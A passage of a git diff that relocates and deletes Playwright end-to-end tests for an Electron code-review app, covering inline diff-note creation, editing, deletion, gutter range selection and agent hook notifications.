a/tests/e2e/windows-missing-appdata-startup.spec.ts +++ b/tests/e2e/desktop/startup-recovery/windows-missing-appdata-startup.spec.ts @@ -1,14 +1,17 @@ import { existsSync, mkdtempSync, realpathSync, rmSync } from 'node:fs' import os from 'node:os' import path from 'node:path' -import { _electron as electron, type ElectronApplication } from '@stablyai/playwright-test' -import { test, expect, forwardElectronProcessLogs } from './helpers/orca-app' -import { getOrcaElectronLaunchArgs } from './helpers/electron-launch-args' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { assertElectronResolvedIsolatedHome } from './helpers/electron-home-isolation' -import { isolatedServeProfile } from './helpers/orca-serve-cli-host' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { RuntimeClientError } from '../../src/cli/runtime/connection/types' +import { _electron as electron, expect, type ElectronApplication } from '@stablyai/playwright-test' +import { test, forwardElectronProcessLogs } from '../electron-fixtures/orca-app' +import { getOrcaElectronLaunchArgs } from '../electron-fixtures/electron-launch-args' +import { + cleanupE2EDaemons, + closeElectronAppForE2E +} from '../electron-fixtures/electron-process-shutdown' +import { assertElectronResolvedIsolatedHome } from '../electron-fixtures/electron-home-isolation' +import { isolatedServeProfile } from '../../remote/paired-runtime/client-hosts/orca-serve-cli-host' +import { RuntimeClient } from '../../../../src/cli/runtime/client' +import { RuntimeClientError } from '../../../../src/cli/runtime/connection/types' // Regression: a profile-less Windows session (e.g. `orca serve` over SSH) has no roaming AppData, // and Electron 43 crashed natively resolving userData before Orca pinned it. diff --git a/tests/e2e/diff-note-delete.spec.ts b/tests/e2e/diff-note-delete.spec.ts deleted file mode 100644 index 171492a899f..00000000000 --- a/tests/e2e/diff-note-delete.spec.ts +++ /dev/null @@ -1,117 +0,0 @@ -// Real clicks must reach React note controls inside Monaco view zones; propagation or overlay regressions escape store-only tests. - -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady, waitForActiveWorktree } from './helpers/store' - -test.describe('Diff note delete', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('clicking the trash button removes the saved note', async ({ orcaPage }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - - // Modify a tracked fixture so Monaco renders a real diff instead of an empty state. - const { relativePath } = await orcaPage.evaluate(async (wId) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available — is the app in dev mode?') - } - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - const rel = `src${separator}index.ts` - const absolutePath = `${worktree.path}${separator}${rel}` - await window.api.fs.writeFile({ - filePath: absolutePath, - content: 'export const hello = "note-test"\n' - }) - return { relativePath: rel } - }, worktreeId) - - // Seed the note directly to isolate delete from the separate gutter-hover interaction. - const addResult = await orcaPage.evaluate( - async ({ wId, rel }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - // The seeded worktree is this app's own (local) copy. - const comment = await store.getState().addDiffComment( - { - kind: 'worktree', - worktreeId: wId, - authority: { endpoint: { kind: 'self' }, at: 'local' } - }, - { - worktreeId: wId, - filePath: rel, - source: 'diff', - lineNumber: 1, - body: 'delete-me note', - side: 'modified' - } - ) - return comment - }, - { wId: worktreeId, rel: relativePath } - ) - expect(addResult, 'addDiffComment returned null').not.toBeNull() - const commentId = addResult!.id - - await orcaPage.evaluate( - ({ wId, rel }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - state.openDiff(wId, `${worktree.path}${separator}${rel}`, rel, 'typescript', false) - }, - { wId: worktreeId, rel: relativePath } - ) - - // Wait for the trash button itself to prove the React root inside Monaco’s zone mounted. - const deleteButton = orcaPage.getByTitle('Delete note').first() - await expect(deleteButton).toBeVisible({ timeout: 15_000 }) - - await deleteButton.click() - - await expect - .poll( - async () => - orcaPage.evaluate((id: string) => { - const store = window.__store - if (!store) { - return null - } - const all = Object.values(store.getState().worktreesByRepo) - .flat() - .flatMap((w) => w.diffComments ?? []) - return all.some((c) => c.id === id) - }, commentId), - { - timeout: 5_000, - message: 'deleteDiffComment did not remove the comment from the store' - } - ) - .toBe(false) - - await expect(orcaPage.getByTitle('Delete note')).toHaveCount(0, { - timeout: 5_000 - }) - }) -}) diff --git a/tests/e2e/diff-note-draft.spec.ts b/tests/e2e/diff-note-draft.spec.ts deleted file mode 100644 index 270971d11f9..00000000000 --- a/tests/e2e/diff-note-draft.spec.ts +++ /dev/null @@ -1,120 +0,0 @@ -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const DRAFT_LINE = 6 -const FOLLOWING_LINE = 'export const line07 = "draft-following-line-marker"' -const NOTE_BODY = 'This note was added from the inline draft card.' - -async function attachDiffScreenshot(page: Page, testInfo: TestInfo, name: string): Promise { - const screenshotPath = testInfo.outputPath(`${name}.png`) - await page.locator('.monaco-diff-editor').first().screenshot({ path: screenshotPath }) - await testInfo.attach(name, { path: screenshotPath, contentType: 'image/png' }) -} - -test.describe('Diff note draft', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('opens an inline draft without overlapping code and saves it', async ({ - orcaPage - }, testInfo) => { - await orcaPage.setViewportSize({ width: 1200, height: 800 }) - const worktreeId = await waitForActiveWorktree(orcaPage) - const relativePath = await orcaPage.evaluate(async (wId) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - const relative = `src${separator}diff-note-draft.ts` - const lines = Array.from({ length: 14 }, (_, index) => { - const number = String(index + 1).padStart(2, '0') - const value = index + 1 === 7 ? 'draft-following-line-marker' : `value-${number}` - return `export const line${number} = "${value}"` - }) - await window.api.fs.writeFile({ - filePath: `${worktree.path}${separator}${relative}`, - content: `${lines.join('\n')}\n` - }) - await state.updateSettings({ diffDefaultView: 'side-by-side' }) - state.openDiff(wId, `${worktree.path}${separator}${relative}`, relative, 'typescript', false) - return relative - }, worktreeId) - - const followingLine = orcaPage - .locator('.modified-in-monaco-diff-editor .view-lines .view-line') - .filter({ hasText: FOLLOWING_LINE }) - .first() - await expect(followingLine).toBeVisible({ timeout: 15_000 }) - // Let the filesystem watcher finish its model refresh before opening a draft in that model. - await orcaPage.waitForTimeout(3_000) - - const draftLine = orcaPage - .locator('.modified-in-monaco-diff-editor .view-lines .view-line') - .filter({ hasText: `export const line${String(DRAFT_LINE).padStart(2, '0')} = "value-06"` }) - .first() - await draftLine.hover({ position: { x: 4, y: 8 } }) - const addButton = orcaPage.locator('.orca-diff-comment-add-btn') - await expect(addButton).toBeVisible() - await addButton.click() - - const draftCard = orcaPage.locator('.orca-diff-comment-draft-card') - const textarea = draftCard.locator('textarea') - await expect(draftCard).toBeVisible({ timeout: 15_000 }) - await expect(draftCard).toContainText('Line 6') - await expect(draftCard).not.toContainText('You') - await expect - .poll(() => textarea.evaluate((element) => document.activeElement === element)) - .toBe(true) - await expect(orcaPage.locator('.orca-diff-comment-draft-margin')).toBeVisible() - await expect - .poll( - async () => { - const [cardBox, lineBox] = await Promise.all([ - draftCard.boundingBox(), - followingLine.boundingBox() - ]) - return cardBox && lineBox ? lineBox.y - (cardBox.y + cardBox.height) : -1 - }, - { message: 'inline draft overlaps the following diff line' } - ) - .toBeGreaterThanOrEqual(0) - await attachDiffScreenshot(orcaPage, testInfo, 'inline-diff-note-draft') - - await textarea.fill(NOTE_BODY) - const submitButton = draftCard.locator('button').filter({ hasText: /add note/i }) - await expect(submitButton).toBeEnabled() - await submitButton.click() - await expect(draftCard).toBeHidden() - const savedCard = orcaPage - .locator('.orca-diff-comment-card') - .filter({ hasText: NOTE_BODY }) - .first() - await expect(savedCard).toBeVisible({ timeout: 15_000 }) - await expect - .poll( - async () => - await orcaPage.evaluate( - ({ wId, filePath, body }) => { - const comments = window.__store?.getState().getDiffComments(wId) ?? [] - return comments.some( - (comment) => comment.filePath === filePath && comment.body === body - ) - }, - { wId: worktreeId, filePath: relativePath, body: NOTE_BODY } - ) - ) - .toBe(true) - await attachDiffScreenshot(orcaPage, testInfo, 'saved-inline-diff-note') - }) -}) diff --git a/tests/e2e/diff-note-edit.spec.ts b/tests/e2e/diff-note-edit.spec.ts deleted file mode 100644 index b1998430631..00000000000 --- a/tests/e2e/diff-note-edit.spec.ts +++ /dev/null @@ -1,138 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady, waitForActiveWorktree } from './helpers/store' - -test.describe('Diff note edit', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('editing a saved inline note updates the open diff card', async ({ orcaPage }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - const seededBody = 'edit-me note' - const editedBody = 'edited note from the inline card' - - // Use a real modified-file diff so Monaco mounts the local saved-note zone. - const { relativePath } = await orcaPage.evaluate(async (wId) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available - is the app in dev mode?') - } - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - const rel = `src${separator}index.ts` - const absolutePath = `${worktree.path}${separator}${rel}` - await window.api.fs.writeFile({ - filePath: absolutePath, - content: 'export const hello = "note-edit-test"\n' - }) - return { relativePath: rel } - }, worktreeId) - - const addResult = await orcaPage.evaluate( - async ({ wId, rel, body }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - // The seeded worktree is this app's own (local) copy. - return store.getState().addDiffComment( - { - kind: 'worktree', - worktreeId: wId, - authority: { endpoint: { kind: 'self' }, at: 'local' } - }, - { - worktreeId: wId, - filePath: rel, - source: 'diff', - lineNumber: 1, - body, - side: 'modified' - } - ) - }, - { wId: worktreeId, rel: relativePath, body: seededBody } - ) - expect(addResult, 'addDiffComment returned null').not.toBeNull() - const commentId = addResult!.id - - await orcaPage.evaluate( - ({ wId, rel }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - state.openDiff(wId, `${worktree.path}${separator}${rel}`, rel, 'typescript', false) - }, - { wId: worktreeId, rel: relativePath } - ) - - const card = orcaPage.locator('.orca-diff-comment-card').first() - await expect(card, 'seeded inline note did not render').toBeVisible({ timeout: 15_000 }) - await expect(card.locator('.orca-diff-comment-body')).toHaveText(seededBody) - - await card.getByTitle('Edit note').click() - - const textarea = card.locator('.orca-diff-comment-popover-textarea') - await expect(textarea).toBeVisible() - await expect(textarea).toHaveValue(seededBody) - - const saveButton = card - .locator('.orca-diff-comment-popover-footer button') - .filter({ hasText: 'Save' }) - await expect(saveButton, 'Save should be disabled before the body changes').toBeDisabled() - - await textarea.fill(editedBody) - await expect(saveButton, 'Save should be enabled for a non-empty changed body').toBeEnabled() - await saveButton.click() - - await expect(textarea, 'edit controls did not close after saving').toHaveCount(0, { - timeout: 5_000 - }) - - await expect - .poll( - async () => - orcaPage.evaluate((id: string) => { - const store = window.__store - if (!store) { - return null - } - const all = Object.values(store.getState().worktreesByRepo) - .flat() - .flatMap((w) => w.diffComments ?? []) - const comment = all.find((c) => c.id === id) - return comment?.body ?? null - }, commentId), - { - timeout: 5_000, - message: 'updateDiffComment did not persist the edited body in the store' - } - ) - .toBe(editedBody) - - const updatedCard = orcaPage - .locator('.orca-diff-comment-card') - .filter({ has: orcaPage.locator('.orca-diff-comment-body', { hasText: editedBody }) }) - .first() - await expect(updatedCard, 'inline card did not update in the open diff').toBeVisible() - await expect(updatedCard.locator('.orca-diff-comment-body')).toHaveText(editedBody) - await expect(updatedCard.locator('.orca-diff-comment-body')).not.toHaveText(seededBody) - await expect(updatedCard.getByTitle('Edit note')).toBeVisible() - }) -}) diff --git a/tests/e2e/diff-note-line-range.spec.ts b/tests/e2e/diff-note-line-range.spec.ts deleted file mode 100644 index 72730486770..00000000000 --- a/tests/e2e/diff-note-line-range.spec.ts +++ /dev/null @@ -1,374 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { pressShortcut } from './helpers/shortcuts' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -// Exercise real gutter ownership and pointer tracking: the range must survive composer open without starting Monaco selection. - -const BAND = '.orca-diff-comment-range-highlight' -const COMPOSER = '.orca-diff-comment-popover' -const COMPOSER_LABEL = '.orca-diff-comment-popover-label' -const COMPOSER_TEXTAREA = '.orca-diff-comment-popover-textarea' - -type StoredNote = { startLine?: number; lineNumber: number; body: string } - -// Commit a baseline: untracked files open without the diff gutter this gesture needs. -const SEED_BASELINE = 'export const seed = true\n' -const SEED_LINE_COUNT = 24 -// Wait for the highest tested line so first-cell paint cannot hide an unloaded modified model. -const SEED_SYNC_LINE = 9 - -async function seedDiffFile(page: Page, worktreeId: string, relative: string): Promise { - const { worktreePath, storeRel } = await page.evaluate( - ({ wId, rel }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available - is the app in dev mode?') - } - const worktree = Object.values(store.getState().worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - return { worktreePath: worktree.path, storeRel: rel.split('/').join(separator) } - }, - { wId: worktreeId, rel: relative } - ) - - // Commit before rewriting, idempotently across reruns on the worker-scoped repo. - const absolutePath = path.join(worktreePath, ...relative.split('/')) - mkdirSync(path.dirname(absolutePath), { recursive: true }) - writeFileSync(absolutePath, SEED_BASELINE) - const porcelain = execFileSync('git', ['status', '--porcelain', '--', relative], { - cwd: worktreePath, - encoding: 'utf8' - }) - if (porcelain.trim() !== '') { - execFileSync('git', ['add', '--', relative], { cwd: worktreePath, stdio: 'pipe' }) - execFileSync('git', ['commit', '-m', `e2e seed ${relative} for diff-note-range`], { - cwd: worktreePath, - stdio: 'pipe' - }) - } - const lines = Array.from( - { length: SEED_LINE_COUNT }, - (_, index) => `export const line${String(index + 1).padStart(2, '0')} = ${index + 1}` - ) - writeFileSync(absolutePath, `${lines.join('\n')}\n`) - - await page.evaluate( - async ({ wId, rel }) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available - is the app in dev mode?') - } - const state = store.getState() - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((entry) => entry.id === wId) - if (!worktree) { - throw new Error('active worktree not found') - } - const separator = worktree.path.includes('\\') ? '\\' : '/' - // Inline view keeps modified line numbers in the gesture’s margin. - await state.updateSettings({ diffDefaultView: 'inline' }) - state.openDiff(wId, `${worktree.path}${separator}${rel}`, rel, 'typescript', false) - }, - { wId: worktreeId, rel: storeRel } - ) - await expect( - page.locator('.modified-in-monaco-diff-editor .margin .line-numbers').first(), - 'diff gutter never rendered' - ).toBeVisible({ timeout: 20_000 }) - await expect - .poll(async () => hasGutterLine(page, SEED_SYNC_LINE), { - timeout: 20_000, - message: 'modified diff content never rendered its gutter lines' - }) - .toBe(true) -} - -async function readGutterPoint( - page: Page, - lineNumber: number -): Promise<{ x: number; y: number } | null> { - return page.evaluate((target: number) => { - const editor = document.querySelector('.monaco-editor.modified-in-monaco-diff-editor') - if (!editor) { - return null - } - for (const cell of editor.querySelectorAll('.margin .line-numbers')) { - if (Number.parseInt(cell.textContent?.trim() ?? '', 10) === target) { - const rect = cell.getBoundingClientRect() - return { x: Math.round(rect.x + rect.width / 2), y: Math.round(rect.y + rect.height / 2) } - } - } - return null - }, lineNumber) -} - -async function hasGutterLine(page: Page, lineNumber: number): Promise { - return (await readGutterPoint(page, lineNumber)) !== null -} - -// Centre of a line's number cell — the column the "+" lives in and the gesture starts from. -async function gutterPoint(page: Page, lineNumber: number): Promise<{ x: number; y: number }> { - let point: { x: number; y: number } | null = null - await expect - .poll( - async () => { - point = await readGutterPoint(page, lineNumber) - return point - }, - { - timeout: 20_000, - message: `line ${lineNumber} is not rendered in the modified gutter` - } - ) - .not.toBeNull() - if (point == null) { - throw new Error(`line ${lineNumber} is not rendered in the modified gutter`) - } - return point -} - -// Box of the "+" affordance, which only exists while its line is hovered. -async function revealAddButton( - page: Page, - lineNumber: number -): Promise<{ x: number; y: number; top: string }> { - const line = await gutterPoint(page, lineNumber) - await page.mouse.move(line.x + 260, line.y) - const button = page.locator('.orca-diff-comment-add-btn') - await expect(button, 'the "+" never appeared on the hovered line').toBeVisible() - const box = await button.boundingBox() - if (!box) { - throw new Error('the "+" has no box') - } - const top = await button.evaluate((node) => { - if (!(node instanceof HTMLElement)) { - throw new Error('the add button is not an HTMLElement') - } - return node.style.top - }) - return { - x: Math.round(box.x + box.width / 2), - y: Math.round(box.y + box.height / 2), - top - } -} - -async function readNotes(page: Page, worktreeId: string): Promise { - return page.evaluate((wId: string) => { - const worktree = Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .find((entry) => entry.id === wId) - return (worktree?.diffComments ?? []).map((comment) => ({ - startLine: comment.startLine, - lineNumber: comment.lineNumber, - body: comment.body - })) - }, worktreeId) -} - -async function submitNote(page: Page, body: string): Promise { - await page.locator(COMPOSER_TEXTAREA).fill(body) - await page.keyboard.press('Enter') - await expect(page.locator(COMPOSER), 'composer stayed open after submit').toHaveCount(0, { - timeout: 10_000 - }) -} - -test.describe('Diff note line range', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('dragging the gutter selects a range, keeps it lit, and saves one ranged note', async ({ - orcaPage - }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - await seedDiffFile(orcaPage, worktreeId, 'src/diff-note-range-drag.ts') - - const from = await gutterPoint(orcaPage, 4) - const to = await gutterPoint(orcaPage, 9) - - await orcaPage.mouse.move(from.x, from.y) - await orcaPage.mouse.down() - await expect(orcaPage.locator(BAND)).toHaveCount(1) - - await orcaPage.mouse.move(to.x, (from.y + to.y) / 2) - await orcaPage.mouse.move(to.x, to.y) - await expect( - orcaPage.locator(BAND), - 'the band did not follow the pointer while the button was held' - ).toHaveCount(6) - - await orcaPage.mouse.up() - - await expect(orcaPage.locator(COMPOSER_LABEL)).toHaveText('Lines 4-9') - await expect( - orcaPage.locator(BAND), - 'the band should stay lit while the note is being written' - ).toHaveCount(6) - // The gutter press belongs to us, so Monaco never started a text selection under it. - expect(await orcaPage.evaluate(() => window.getSelection()?.toString() ?? '')).toBe('') - - await submitNote(orcaPage, 'Collapse these six lines into a loop.') - - expect(await readNotes(orcaPage, worktreeId)).toEqual([ - { startLine: 4, lineNumber: 9, body: 'Collapse these six lines into a loop.' } - ]) - const card = orcaPage.locator('.orca-diff-comment-card').first() - await expect(card, 'saved note card did not render').toBeVisible({ timeout: 15_000 }) - await expect(card).toContainText('lines 4-9') - await expect(orcaPage.locator(BAND)).toHaveCount(0) - }) - - // Drag upward to prove anchor/focus stay distinct and commit in document order. - test('dragging the gutter upward commits the same range as dragging down', async ({ - orcaPage - }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - await seedDiffFile(orcaPage, worktreeId, 'src/diff-note-range-drag-up.ts') - - const from = await gutterPoint(orcaPage, 9) - const to = await gutterPoint(orcaPage, 4) - - await orcaPage.mouse.move(from.x, from.y) - await orcaPage.mouse.down() - await expect(orcaPage.locator(BAND)).toHaveCount(1) - - await orcaPage.mouse.move(to.x, (from.y + to.y) / 2) - await orcaPage.mouse.move(to.x, to.y) - await expect( - orcaPage.locator(BAND), - 'the band did not grow upward while the button was held' - ).toHaveCount(6) - - await orcaPage.mouse.up() - - await expect(orcaPage.locator(COMPOSER_LABEL)).toHaveText('Lines 4-9') - expect(await orcaPage.evaluate(() => window.getSelection()?.toString() ?? '')).toBe('') - - await submitNote(orcaPage, 'Dragged bottom to top.') - - expect(await readNotes(orcaPage, worktreeId)).toEqual([ - { startLine: 4, lineNumber: 9, body: 'Dragged bottom to top.' } - ]) - await expect(orcaPage.locator('.orca-diff-comment-card').first()).toContainText('lines 4-9') - }) - - // Start on the non-Monaco + node to exercise the hit-test path that previously lost the whole drag. - test('dragging from the "+" itself selects a range and the button rides the selection', async ({ - orcaPage - }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - await seedDiffFile(orcaPage, worktreeId, 'src/diff-note-range-button-drag.ts') - - const button = await revealAddButton(orcaPage, 4) - const to = await gutterPoint(orcaPage, 9) - - await orcaPage.mouse.move(button.x, button.y) - await orcaPage.mouse.down() - await orcaPage.mouse.move(button.x, (button.y + to.y) / 2) - await orcaPage.mouse.move(button.x, to.y) - - await expect( - orcaPage.locator(BAND), - 'the drag stalled because the pointer stayed over the "+"' - ).toHaveCount(6) - await expect - .poll( - async () => - orcaPage.locator('.orca-diff-comment-add-btn').evaluate((node) => { - if (!(node instanceof HTMLElement)) { - throw new Error('the add button is not an HTMLElement') - } - return node.style.top - }), - { message: 'the "+" did not ride the growing end of the selection' } - ) - .not.toBe(button.top) - - await orcaPage.mouse.up() - await expect(orcaPage.locator(COMPOSER_LABEL)).toHaveText('Lines 4-9') - await submitNote(orcaPage, 'Dragged straight off the plus button.') - - expect(await readNotes(orcaPage, worktreeId)).toEqual([ - { startLine: 4, lineNumber: 9, body: 'Dragged straight off the plus button.' } - ]) - }) - - test('a press with no drag still saves the single-line note it always did', async ({ - orcaPage - }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - await seedDiffFile(orcaPage, worktreeId, 'src/diff-note-range-click.ts') - - const point = await gutterPoint(orcaPage, 6) - await orcaPage.mouse.move(point.x, point.y) - await orcaPage.mouse.down() - await orcaPage.mouse.up() - - await expect(orcaPage.locator(COMPOSER_LABEL)).toHaveText('Line 6') - await expect(orcaPage.locator(BAND)).toHaveCount(1) - - await submitNote(orcaPage, 'Single line still works.') - - expect(await readNotes(orcaPage, worktreeId)).toEqual([ - { startLine: undefined, lineNumber: 6, body: 'Single line still works.' } - ]) - await expect(orcaPage.locator('.orca-diff-comment-card').first()).toContainText('line 6') - }) - - test('Escape abandons a drag without opening a composer', async ({ orcaPage }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - await seedDiffFile(orcaPage, worktreeId, 'src/diff-note-range-escape.ts') - - const from = await gutterPoint(orcaPage, 3) - const to = await gutterPoint(orcaPage, 8) - await orcaPage.mouse.move(from.x, from.y) - await orcaPage.mouse.down() - await orcaPage.mouse.move(to.x, to.y) - await expect(orcaPage.locator(BAND)).toHaveCount(6) - - await orcaPage.keyboard.press('Escape') - await expect(orcaPage.locator(BAND), 'Escape left the band behind').toHaveCount(0) - - await orcaPage.mouse.up() - await expect( - orcaPage.locator(COMPOSER), - 'a cancelled drag must not open a composer on release' - ).toHaveCount(0) - expect(await readNotes(orcaPage, worktreeId)).toEqual([]) - }) - - test('the Add Review Note chord turns an editor selection into a ranged note', async ({ - orcaPage - }) => { - const worktreeId = await waitForActiveWorktree(orcaPage) - await seedDiffFile(orcaPage, worktreeId, 'src/diff-note-range-chord.ts') - - // Click the code column, not the gutter: Monaco still owns that side. - const line = await gutterPoint(orcaPage, 5) - await orcaPage.mouse.click(line.x + 220, line.y) - await orcaPage.keyboard.press('Shift+ArrowDown') - await orcaPage.keyboard.press('Shift+ArrowDown') - - await pressShortcut(orcaPage, 'KeyA', { shift: true }) - - await expect(orcaPage.locator(COMPOSER_LABEL)).toHaveText('Lines 5-7') - await submitNote(orcaPage, 'Range from the keyboard.') - - expect(await readNotes(orcaPage, worktreeId)).toEqual([ - { startLine: 5, lineNumber: 7, body: 'Range from the keyboard.' } - ]) - }) -}) diff --git a/tests/e2e/droid-notification.spec.ts b/tests/e2e/droid-notification.spec.ts deleted file mode 100644 index 401e6b6c0e3..00000000000 --- a/tests/e2e/droid-notification.spec.ts +++ /dev/null @@ -1,441 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { getRendererTitleLog, installRendererTitleLog } from './helpers/terminal-title-log' -import { - sendToTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - emitCodexHookStatus, - emitGrokHookPayload, - readHookEndpoint -} from './helpers/agent-hook-endpoint' - -type NotificationDispatch = { - source?: string - terminalTitle?: string - paneKey?: string - isActiveWorktree?: boolean - agentType?: string - agentPrompt?: string - agentLastAssistantMessage?: string -} - -type AgentStatusSummary = { - paneKey: string - state: string - agentType?: string - prompt?: string - lastAssistantMessage?: string -} - -async function emitOscTitle(page: Page, ptyId: string, title: string) { - await sendToTerminal(page, ptyId, `printf '\\033]0;${title}\\007'\r`) -} - -async function installMainProcessNotificationDispatchSpy(app: ElectronApplication): Promise { - await app.evaluate(({ ipcMain }) => { - const g = globalThis as unknown as { - __notificationDispatchLog?: NotificationDispatch[] - __notificationDispatchSpyInstalled?: boolean - } - if (g.__notificationDispatchSpyInstalled) { - return - } - g.__notificationDispatchLog = [] - g.__notificationDispatchSpyInstalled = true - ipcMain.removeHandler('notifications:dispatch') - ipcMain.handle('notifications:dispatch', (_event: unknown, args: NotificationDispatch) => { - g.__notificationDispatchLog!.push(args) - return { delivered: true } - }) - }) -} - -async function getNotificationDispatches( - app: ElectronApplication -): Promise { - return app.evaluate(() => { - const g = globalThis as unknown as { __notificationDispatchLog?: NotificationDispatch[] } - return g.__notificationDispatchLog ?? [] - }) -} - -async function switchToOtherExistingWorktree(page: Page): Promise { - return page.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const state = store.getState() - const activeWorktreeId = state.activeWorktreeId - if (!activeWorktreeId) { - throw new Error('No active worktree') - } - const activeWorktree = Object.values(state.worktreesByRepo) - .flat() - .find((worktree) => worktree.id === activeWorktreeId) - if (!activeWorktree) { - throw new Error(`Active worktree ${activeWorktreeId} not found`) - } - const otherWorktree = - Object.values(state.worktreesByRepo) - .flat() - .find( - (worktree) => - worktree.repoId === activeWorktree.repoId && - worktree.id !== activeWorktreeId && - worktree.branch.replace(/^refs\/heads\//, '') === 'e2e-secondary' - ) ?? - Object.values(state.worktreesByRepo) - .flat() - .find( - (worktree) => - worktree.repoId === activeWorktree.repoId && worktree.id !== activeWorktreeId - ) - if (!otherWorktree) { - throw new Error(`No inactive worktree found for repo ${activeWorktree.repoId}`) - } - state.setActiveWorktree(otherWorktree.id) - return otherWorktree.id - }) -} - -async function getAgentStatuses(page: Page): Promise { - return page.evaluate(() => { - const store = window.__store - if (!store) { - return [] - } - return Array.from(store.getState().agentStatusByPaneKey?.values() ?? []).map((entry) => ({ - paneKey: entry.paneKey, - state: entry.state, - agentType: entry.agentType, - prompt: entry.prompt, - lastAssistantMessage: entry.lastAssistantMessage - })) - }) -} - -async function getCachedAgentStatuses(page: Page): Promise { - return page.evaluate(async () => { - const snapshot = await window.api.agentStatus.getSnapshot() - return snapshot.map((entry) => ({ - paneKey: entry.paneKey, - state: entry.state, - agentType: entry.agentType, - prompt: entry.prompt, - lastAssistantMessage: entry.lastAssistantMessage - })) - }) -} - -async function getRendererOrCachedAgentStatuses(page: Page): Promise { - const [rendererStatuses, cachedStatuses] = await Promise.all([ - getAgentStatuses(page), - getCachedAgentStatuses(page) - ]) - return [...rendererStatuses, ...cachedStatuses] -} - -async function isWorktreeUnread(page: Page, worktreeId: string): Promise { - return page.evaluate((targetWorktreeId) => { - const store = window.__store - if (!store) { - return false - } - return ( - Object.values(store.getState().worktreesByRepo) - .flat() - .find((worktree) => worktree.id === targetWorktreeId)?.isUnread === true - ) - }, worktreeId) -} - -test.describe('Droid notifications', () => { - test('Codex hook completion dispatches while its worktree is inactive', async ({ - orcaPage, - electronApp - }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - await installMainProcessNotificationDispatchSpy(electronApp) - const endpoint = await readHookEndpoint(electronApp) - - // Synthetic hooks skip shell startup; wait for PTY responsiveness so the liveness gate can observe the turn. - const ptyId = await waitForActivePanePtyId(orcaPage) - const readyMarker = `__CODEX_HOOK_NOTIFY_READY_${Date.now()}__` - await sendToTerminal(orcaPage, ptyId, `printf '${readyMarker}\\n'\r`) - await waitForTerminalOutput(orcaPage, readyMarker) - - const { paneKey, worktreeId } = await waitForActivePaneHookDescriptor(orcaPage) - const prompt = `codex-hook-notify-${Date.now()}` - await emitCodexHookStatus(endpoint, { - paneKey, - worktreeId, - state: 'working', - prompt - }) - await expect - .poll( - async () => - (await getRendererOrCachedAgentStatuses(orcaPage)).some( - (status) => - status.agentType === 'codex' && status.state === 'working' && status.prompt === prompt - ), - { - timeout: 30_000, - // Main’s cache recovers renderer startup/listener races; assert the direct hook reached it. - message: 'Codex UserPromptSubmit hook did not reach agent status cache' - } - ) - .toBe(true) - - await 